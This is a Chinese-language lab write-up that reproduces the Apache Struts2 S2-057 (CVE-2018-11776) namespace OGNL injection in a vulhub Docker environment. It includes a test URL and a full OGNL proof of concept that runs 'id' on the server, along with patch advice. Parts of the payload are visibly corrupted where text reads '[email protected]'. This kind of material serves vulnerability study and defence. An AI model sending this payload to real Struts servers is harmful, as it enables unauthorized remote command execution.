Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现
S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去 。
Apache Struts 2.3 – Struts 2.3.34
Apache Struts 2.5 – Struts 2.5.16
1、使用docker环境搭建vulhub环境
1.1> 安装docker
apt-get install docker docker-compose
1.2> 启动docker
systemctl start docker
1.3> 下载vulhub
git clone https://github.com/vulhub/vulhub.git
1.4> 切换到复现漏洞的目录下,并生成靶场
docker-compose up -d //docker生成靶场
注意:docker-compose down //向想进入另一个漏洞靶场,需先结束掉当前漏洞靶场
2、漏洞复现
2.1> 进入vulhub/struts2/s2-057目录下,生成靶场
2.2> 启动环境后,在Win10上访问http://192.168.247.103:8080/struts2-showcase,您将看到Struts2测试页面。
s2-057要求具备以下条件:
- alwaysSelectFullNamespace被设置为true,此时namespace的值是从URL中获取的。URL是可控的,所以namespace也是可控的。
- action元素没有名称空间属性集,或者使用通配符。该名称空间将由用户从URL传递并解析为OGNL表达式,最终导致远程代码执行的脆弱性。
2.3> Payload:
http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
利用BurpSuite抓包并改包,Go得到下图所示结果,说明存在漏洞。可以看到,233*233的结果已经在Location头中返回。
2.4> 使用S2-057漏洞的POC进行验证
POC如下:
${
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
把POC替换到相应的位置,验证说明存在漏洞 #POC需进行部分URL编码
1. 官方补丁
目前官方已发布最新版本来修复此漏洞,受影响的用户请尽快升级到Apache Struts 2.3.35 或 Struts 2.5.17版
本:https://struts.apache.org/download.cgi#struts2517。
参考:https://github.com/vulhub/vulhub/tree/master/struts2/s2-057
漏洞发现者的博客:https://lgtm.com/blog/apache_struts_CVE-2018-11776